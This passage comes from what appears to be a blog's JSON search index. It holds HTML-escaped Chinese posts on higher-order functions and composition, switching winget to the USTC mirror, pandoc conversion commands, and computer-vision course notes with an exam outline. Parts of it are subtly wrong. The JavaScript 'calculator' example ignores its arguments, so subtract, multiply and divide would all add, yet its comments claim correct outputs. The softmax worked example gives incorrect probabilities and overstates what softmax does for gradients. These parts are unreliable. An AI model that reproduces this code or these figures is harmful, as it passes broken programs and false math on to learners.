class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 定义一个高阶函数,用于计算两个数的和\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum\u003c/span\u003e(\u003cspan class=\"params\"\u003ea, b\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a + b;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 使用高阶函数组合两个函数,用于计算两个数的和\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecalculator\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e sum;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 调用高阶函数组合器,并传入两个数字作为参数\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e add = \u003cspan class=\"title function_\"\u003ecalculator\u003c/span\u003e();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 调用高阶函数组合器,并传入两个数字作为参数\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e subtract = \u003cspan class=\"title function_\"\u003ecalculator\u003c/span\u003e(\u003cspan class=\"function\"\u003e\u003cspan class=\"params\"\u003ea\u003c/span\u003e =\u0026gt;\u003c/span\u003e a - b);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 调用高阶函数组合器,并传入两个数字作为参数\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e multiply = \u003cspan class=\"title function_\"\u003ecalculator\u003c/span\u003e(\u003cspan class=\"function\"\u003e\u003cspan class=\"params\"\u003ea\u003c/span\u003e =\u0026gt;\u003c/span\u003e a * b);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 调用高阶函数组合器,并传入两个数字作为参数\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e divide = \u003cspan class=\"title function_\"\u003ecalculator\u003c/span\u003e(\u003cspan class=\"function\"\u003e\u003cspan class=\"params\"\u003ea\u003c/span\u003e =\u0026gt;\u003c/span\u003e a / b);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 测试计算器函数\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable language_\"\u003econsole\u003c/span\u003e.\u003cspan class=\"title function_\"\u003elog\u003c/span\u003e(\u003cspan class=\"title function_\"\u003eadd\u003c/span\u003e(\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e)); \u003cspan class=\"comment\"\u003e// 输出 5\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable language_\"\u003econsole\u003c/span\u003e.\u003cspan class=\"title function_\"\u003elog\u003c/span\u003e(\u003cspan class=\"title function_\"\u003esubtract\u003c/span\u003e(\u003cspan class=\"number\"\u003e5\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e)); \u003cspan class=\"comment\"\u003e// 输出 3\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable language_\"\u003econsole\u003c/span\u003e.\u003cspan class=\"title function_\"\u003elog\u003c/span\u003e(\u003cspan class=\"title function_\"\u003emultiply\u003c/span\u003e(\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e)); \u003cspan class=\"comment\"\u003e// 输出 6\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable language_\"\u003econsole\u003c/span\u003e.\u003cspan class=\"title function_\"\u003elog\u003c/span\u003e(\u003cspan class=\"title function_\"\u003edivide\u003c/span\u003e(\u003cspan class=\"number\"\u003e10\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e)); \u003cspan class=\"comment\"\u003e// 输出 5\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"组合\"\u003e\u003ca href=\"#组合\" class=\"headerlink\" title=\"组合\"\u003e\u003c/a\u003e组合\u003c/h2\u003e\u003cp\u003e组合和继承,都是复用代码的重要手段。组合简洁,继承稍微冗杂一些。\u003c/p\u003e\u003cp\u003e组合的概念就是将一些现有的单元组合到一起,形成新的工具去解决具体问题,而组合这个动作的适用对象就不止是函数那么简单了。它可以是函数的组合,可以是类型的组合,也可以是状态和函数的组合。\u003c/p\u003e\u003cp\u003e借\u003cdel\u003e从某大佬那里偷来的\u003c/del\u003e一个说法,大多数新的语法结构就是让人们更合理地去使用固定范式的GOTO,而Algebraic Effect就是其中最合理\u003cdel\u003e那个佬最推崇\u003c/del\u003e的一个。从我的视角看来,主流编程语言的演进都是朝着可读可写且尽可能兼顾效率的方向发展的。在这个过程中,损失的一部分就是语言的”Tricks”,或者说是语言的灵活性\u0026#x2F;可能性等。比如GOTO受到的接连削弱,它从一个十分灵活的结构变成了一堆固定但是更理智的语法结构,以一部分灵活性为代价换取了语言的可读性,以此提升可维护性。\u003c/p\u003e\u003cp\u003e组合呢?组合也是一种对于GOTO的封装。甚至更底层的,汇编中的GOTO,(部分)也就是jmp,它在汇编中也有对应的封装:子程序。而这些说法,对于指针这个原始的内存模型中的概念同样适用。封装提高了可读性,限制GOTO的直接使用限制了代码的可写性。二者的矛盾在足够优秀的语法结构出现前基本上是一对难以调和的矛盾。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2023/12/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/functional-thinking/"},{"title":"winget换源","time":"2023-12-09T12:35:48Z","content":"(*/ω\*)\u003chr /\u003e\u003cp\u003e\u003ca href=\"https://unicom.mirrors.ustc.edu.cn/help/winget-source.html\"\u003ewinget 是 Windows 的一个包管理器,可以用来安装、卸载、更新和搜索软件。winget 默认使用的是 Microsoft Store 的源,但是也可以换成其他的源,比如中科大的源。\u003c/a\u003e\u003ca href=\"https://unicom.mirrors.ustc.edu.cn/help/winget-source.html\"\u003e1\u003c/a\u003e\u003ca href=\"https://www.zhihu.com/question/509903409\"\u003e2\u003c/a\u003e\u003c/p\u003e\u003cp\u003e如果您想换源,您需要以管理员身份运行终端,然后使用以下命令:\u003c/p\u003e\u003cul\u003e\u003cli\u003e删除默认的源:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ewinget \u003cspan class=\"built_in\"\u003esource\u003c/span\u003e remove winget\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e添加中科大的源:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ewinget \u003cspan class=\"built_in\"\u003esource\u003c/span\u003e add winget https://mirrors.ustc.edu.cn/winget-source\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e重置为官方的源:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ewinget \u003cspan class=\"built_in\"\u003esource\u003c/span\u003e reset winget\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ca href=\"https://unicom.mirrors.ustc.edu.cn/help/winget-source.html\"\u003e\u003c/a\u003e\u003ca href=\"https://unicom.mirrors.ustc.edu.cn/help/winget-source.html\"\u003e1\u003c/a\u003e\u003ca href=\"https://unicom.mirrors.ustc.edu.cn/help/winget-source.html\"\u003e: WinGet 源使用帮助 — USTC Mirror Help 文档\u003c/a\u003e \u003ca href=\"https://www.zhihu.com/question/509903409\"\u003e2\u003c/a\u003e: winget是否可以用国内镜像? - 知乎\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2023/12/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/winget/"},{"title":"pandoc初窥","time":"2023-12-09T12:10:50Z","content":"(*/ω\*)\u003chr /\u003e\u003cp\u003epandoc 是一个使用 Haskell 语言编写的一款跨平台、自由开源及命令行界面的标记语言转换工具,可实现不同标记语言间的格式转换,堪称该领域中的“瑞士军刀。pandoc 支持的输入和输出格式范围广泛,包括但不限于 Markdown、HTML、DOCX、PDF、LaTeX、EPUB 等。\u003c/p\u003e\u003cp\u003epandoc 不是 python 的库,但是有一个 python 的封装,叫做 pypandoc,可以在 python 代码中调用 pandoc 的功能。pypandoc 可以使用 pip 命令安装,例如:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003epip install pypandoc\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003epandoc 的日常用法主要是通过命令行来转换文档,例如:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003epandoc input.md -o output.html\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个命令就是将 input.md 这个 Markdown 文件转换为 output.html 这个 HTML 文件。pandoc 还有很多其他的选项和参数,可以参考 pandoc 的文档。\u003c/p\u003e\u003cp\u003epandoc 也可以在 python 代码中使用 pypandoc 来转换文档,例如:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e pypandoc\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eoutput = pypandoc.convert_file(\u003cspan class=\"string\"\u003e\u0026#x27;input.md\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;html\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(output)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这段代码就是将 input.md 这个 Markdown 文件转换为 HTML 字符串,并打印出来。pypandoc 还有其他的方法和参数,可以参考 pypandoc 的\u003ca href=\"https://blog.csdn.net/VN520/article/details/129120364\"\u003e文档\u003c/a\u003e。\u003c/p\u003e\u003cp\u003epandoc 是一个非常强大和灵活的文档转换工具,可以帮助你在不同的文档格式之间进行转换,特别是对于 Markdown 这种简洁易用的标记语言,可以轻松地生成 PDF、电子书、幻灯片等多种形式的文档。\u003c/p\u003e\u003ch2 id=\"格式转换\"\u003e\u003ca href=\"#格式转换\" class=\"headerlink\" title=\"格式转换\"\u003e\u003c/a\u003e格式转换\u003c/h2\u003e\u003cp\u003e刚好今天得提交个Word报告,但是写东西我还是喜欢Vim,于是就打算写完转换成Word。正打算手动转换\u0026#x2F;网页在线转换的时候想起来了这个玩意——\u003c/p\u003e\u003cp\u003e然后就一行秒了。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003epandoc -o $(OUTPUT) -f markdown -t docx $(MARKDOWN) \u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e我直接从Makefile里摘出来的。用Makefile的话,写完敲个make就行。\u003c/p\u003e\u003cp\u003e最让我吃惊的是这玩意速度奇快,转换个快4000字的Markdown到Word,几乎跟我echo个字符串一样快,这还是我在7代intel移动端平台上测试的(?A?)\u003c/p\u003e\u003cul\u003e\u003cli\u003eMarkdown转Tex,速度也很快\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003epandoc -w latex ./test.md -o test.tex\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003c/ul\u003e","url":"https://mxts.jiujiuer.xyz/2023/12/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/pandoc_note/"},{"title":"计算机视觉学习笔记","time":"2023-11-06T12:02:29Z","content":"这学期报了计算机视觉这门课,和大一停留在理论上的导论课比起来总算是多了一些实质性的内容和算法。几个lab设计也不错,对理解其本质有所帮助,就是这个讲课和PPT有点(*/ω\*)\u003chr /\u003e\u003cp\u003e之前导论课程上学的基本都是思想和原理,到这里就开始接触真正数学和工程的方法了。\u003c/p\u003e\u003ch2 id=\"序\"\u003e\u003ca href=\"#序\" class=\"headerlink\" title=\"序\"\u003e\u003c/a\u003e序\u003c/h2\u003e\u003cp\u003e这门课的研究思路很清晰,就是围绕标题,自底向上,借助数学工具,一步一步实现各种复杂的功能以及算法,最终一步步接近让计算机拥有“视觉”的目标。\u003c/p\u003e\u003cp\u003e首先是数据的表示,概念的抽象,如何用离散的数据去近似抽象的视觉这个概念。这个过程通过直观理解和数学工具,以及建模方法,为计算机视觉提供了一种可行的数学上的表示和运算方法:像素,以及基于像素的一系列运算,比如滤波,仿射变换,更高自由度的变换,基于像素颜色值的变换等等,以及由这一系列变换得到的图像特征。\u003c/p\u003e\u003cp\u003e其次,是研究在图像的像素模型下,利用数学方法去研究分析以及利用图像特征的方法。这其中,就有诸如角点检测,边缘检测,全景图拼接以及处理等命题。\u003c/p\u003e\u003ch2 id=\"生成对抗网络GAN\"\u003e\u003ca href=\"#生成对抗网络GAN\" class=\"headerlink\" title=\"生成对抗网络GAN\"\u003e\u003c/a\u003e生成对抗网络GAN\u003c/h2\u003e\u003cp\u003e通俗来说就是让两个网络作为对抗组,比如说生成图片的NN和鉴别图片的NN,两方轮流作为输入输出(也就是交替训练),在循环中不断提升两个网络的效果,最终达到生成内容以假乱真的效果。NN炼丹的关键是其中的loss函数设计,不过他们的做法是直接用另一个NN作为这个NN的loss函数来回馈训练效果。\u003c/p\u003e\u003cp\u003e目前比较突出的成果一个就是近几年的Stable Diffusion,算是这里边比较突出的一个了。这东西在图像的有损压缩里边用的也多,至于有损压缩的应用嘛,一般在一些需要使用算力去换带宽的场合很适用,比如卫星数据传输。其他应用就是图像的填充和补全,比如合理推测图像的缺失部分内容。另外就是,网络的输入不一定是噪声,输出也不一定是真假。改变其输入和输出的类型,可以赋予NN以不少是实用场景。\u003c/p\u003e\u003cp\u003eGAN的优点是效果好,比以前用的高斯模糊的效果都很好。但是问题也很突出,就是GAN很难训练。GAN的两方是生成器和判别器,训练的结果很大程度上与两方的能力是否足够接近有很大关系。\u003c/p\u003e\u003cp\u003e另外就是GAN的思想重点在对抗,并没有要求其他的条件。所以比如说可以有多个判别方,有多个生成方等。\u003c/p\u003e\u003ch2 id=\"Attention-Is-All-You-Need\"\u003e\u003ca href=\"#Attention-Is-All-You-Need\" class=\"headerlink\" title=\"Attention Is All You Need\"\u003e\u003c/a\u003eAttention Is All You Need\u003c/h2\u003e\u003cp\u003e注意力机制一开始是应用于机器翻译领域,通过一个合适的重点词语权重标注机制,让算法更有重点地提取概要。如今的GPT也很大程度上受到注意力机制的启发才产生了不断预测下一个词向量概率的朴素思想。\u003c/p\u003e\u003cp\u003e注意力机制可以理解成给分词加上权重。将一个句子进行分词作为一个向量,将这个词语向量通过Softmax这样的激活函数进行处理之后,再借助矩阵进行变换,从而得到处理后的,带有权重的词向量。处理后的词向量,权重总和为1。加权后的句子,再进行翻译,效果就会好很多了。\u003c/p\u003e\u003cp\u003e至于将Attention思想迁移到CV领域进行应用的方法,关键是将图像”语义化“。一个常用的方法是将图像分割,分割成小块,对每个小块采用相同的思想。这就是VIT(Vision Transformer)的思想。\u003c/p\u003e\u003ch2 id=\"激活函数\"\u003e\u003ca href=\"#激活函数\" class=\"headerlink\" title=\"激活函数\"\u003e\u003c/a\u003e激活函数\u003c/h2\u003e\u003ch3 id=\"Softmax\"\u003e\u003ca href=\"#Softmax\" class=\"headerlink\" title=\"Softmax\"\u003e\u003c/a\u003eSoftmax\u003c/h3\u003e\u003cp\u003eSoftmax函数是一种常用的激活函数,主要用于将多分类问题中的输出值转换为概率分布。在神经网络中,输出层通常使用softmax函数,将输出值转换为每个类别概率。\u003c/p\u003e\u003cp\u003eSoftmax函数的定义如下:\u003cbr\u003e$$\u003cbr\u003eSoftmax(x) \u0026#x3D; e^(x_i) \u0026#x2F; (e^(x_1) + e^(x_2) + … + e^(x_n))\u003cbr\u003e$$\u003cbr\u003e其中,x是一个K维向量,Softmax函数的输出也是一个K维向量,并且每个元素的范围都在0到1之间,并且所有元素的和为1。\u003c/p\u003e\u003cp\u003e在多分类问题中,假设输出层有K个神经元,每个神经元代表一个类别。Softmax函数的作用是将输出层的输出转换为每个类别对应的概率。例如,如果输出层输出为[1.2, 2.3, 3.1],则对应的概率为[0.21, 0.34, 0.45]。\u003c/p\u003e\u003cp\u003eSoftmax函数可以解决输出值非常大的问题,因为它可以防止输出值过大而导致的梯度消失或梯度爆炸。此外,Softmax函数还可以进行归一化,使得概率和为1,使得概率分布更加合理。\u003c/p\u003e\u003ch2 id=\"期末划重点咯\"\u003e\u003ca href=\"#期末划重点咯\" class=\"headerlink\" title=\"期末划重点咯\"\u003e\u003c/a\u003e期末划重点咯\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ccode\u003esudo 老师给我分\u003c/code\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e有个压缩包,里边画红钩的都是重点\u003c/p\u003e\u003cp\u003e占比大概NN和传统方法4-6开\u003c/p\u003e\u003cul\u003e\u003cli\u003eChap 1 没啥重点\u003cul\u003e\u003cli\u003e什么是光, 可见光谱的范围这些的\u003c/li\u003e\u003cli\u003e人的视觉系统这些概念啥的\u003c/li\u003e\u003cli\u003e三色光的相关内容\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap 3 重点\u003cul\u003e\u003cli\u003e灰度图(取值范围),RGB\u003c/li\u003e\u003cli\u003e图像两种基本运算\u003c/li\u003e\u003cli\u003e矩阵的运算\u003c/li\u003e\u003cli\u003e滤波概念,高斯滤波\u003c/li\u003e\u003cli\u003e卷积,点乘积,性质,计算过程strike, padding计算结果图像尺寸这些的\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap 4 边缘检测\u003cul\u003e\u003cli\u003e边缘定义,为啥是边缘\u003c/li\u003e\u003cli\u003e图像的梯度\u003c/li\u003e\u003cli\u003e噪声\u003c/li\u003e\u003cli\u003e边缘检测器:sobel算子,roberts算子,prewwit算子等\u003c/li\u003e\u003cli\u003e边缘存在的问题:噪声,拟合等\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap 6 图像插值\u003cul\u003e\u003cli\u003e线性插值,上下采样等,高斯金字塔\u003c/li\u003e\u003cli\u003e图像放大的插值算法(超分)\u003cul\u003e\u003cli\u003e最近邻,双线性,三次插值。不过现在都用GNN做超分了\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap ? 特征匹配\u003cul\u003e\u003cli\u003e典型特征匹配计算方法\u003c/li\u003e\u003cli\u003e特征和特真不变性:啥特征的啥不变性 SIFT特征\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap 7 图像变换\u003cul\u003e\u003cli\u003e几种变换方式\u003c/li\u003e\u003cli\u003e线性变换:变灰度,变尺度等\u003c/li\u003e\u003cli\u003e按照变换剧烈程度递增:平移,旋转,仿射,投影\u003c/li\u003e\u003cli\u003e得记得变换矩阵的特征,大概得看明白\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap 8 图像配准 没啥讲的\u003c/li\u003e\u003cli\u003eChap 11 单视图建模\u003cul\u003e\u003cli\u003e消失线和消失点等 得会计算\u003c/li\u003e\u003c/ul\u003e\u003cul\u003e\u003cli\u003e双试图立体视觉:视差和深度计算\u003c/li\u003e\u003cli\u003e窗口配准\u003c/li\u003e\u003cli\u003e极点极线极面\u003c/li\u003e\u003cli\u003e本质矩阵,基本矩阵是谁到谁的映射\u003c/li\u003e\u003cli\u003e深度估计\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap 14 图像三维重建\u003cul\u003e\u003cli\u003e一个相机转着拍 内参矩阵不变,为了配窗\u003c/li\u003e\u003cli\u003e重复的问题\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap 16 机器视觉\u003cul\u003e\u003cli\u003e激活函数和矩阵计算\u003c/li\u003e\u003cli\u003e神经网络结构\u003c/li\u003e\u003cli\u003e卷积网络的池化操作\u003c/li\u003e\u003c/ul\u003e\u003cul\u003e\u003cli\u003e反向传播:对w求导而非对x求导,而且得会算反向传播函数\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap 18 图像分割\u003cul\u003e\u003cli\u003e语义分割和实例分割\u003c/li\u003e\u003cli\u003e分割手段:边缘检测,聚类等方法\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap 19 目标检测与分类\u003cul\u003e\u003cli\u003e输出:中心型,边界型\u003c/li\u003e\u003cli\u003e两个方法:两步法,一步法(Yolo)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap 21 实操\u003cul\u003e\u003cli\u003e玩玩pytorch\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eChap 23 神经网络前沿\u003cul\u003e\u003cli\u003eGAN\u003c/li\u003e\u003cli\u003eAttention(q,k,v)\u003cul\u003e\u003cli\u003eSoftmax\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"计算机视觉复习\"\u003e\u003ca href=\"#计算机视觉复习\" class=\"headerlink\" title=\"计算机视觉复习\"\u003e\u003c/a\u003e计算机视觉复习\u003c/h2\u003e\u003cp\u003e找到一个学长的复习笔记如下\u003c/p\u003e\u003ch3 id=\"图像和图像滤波\"\u003e\u003ca href=\"#图像和图像滤波\" class=\"headerlink\" title=\"图像和图像滤波\"\u003e\u003c/a\u003e图像和图像滤波\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e什么是滤波\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e形成一个新的图像,其像素是原始像素的组合\u003c/p\u003e\u003c/blockquote\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e什么时候利用滤波\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u0026#x3D;\u0026#x3D;\u003cstrong\u003e增强图像:\u003c/strong\u003e\u0026#x3D;\u0026#x3D; 降噪、锐化\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e\u0026#x3D;\u0026#x3D;提取信息:\u0026#x3D;\u0026#x3D;\u003c/strong\u003e 提取边缘或轮廓\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e滤波的种类:\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e线性滤波:用相邻的线性组合 (加权和)替换每个像素\u003c/p\u003e\u003cul\u003e\u003cli\u003e线性组合的系数称为权重核\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e卷积:\u003c/strong\u003e(权重核反转(水平和垂直))\u003cbr\u003e$$\u003cbr\u003eG [ i , j ] \u0026#x3D; \\sum _ { u \u0026#x3D; - k } ^ { k } \\sum _ { v \u0026#x3D; - k } ^ { k } H [ u , v ] F [ i - u , j - v ]\u003cbr\u003e$$\u003cbr\u003e记为\u003cbr\u003e$$\u003cbr\u003eG\u0026#x3D;H*F\u003cbr\u003e$$\u003cbr\u003e\u003cstrong\u003e相关:\u003c/strong\u003e\u003cbr\u003e$$\u003cbr\u003eG [ i , j ] \u0026#x3D; \\sum _ { u \u0026#x3D; - k } ^ { k } \\sum _ { v \u0026#x3D; - k } 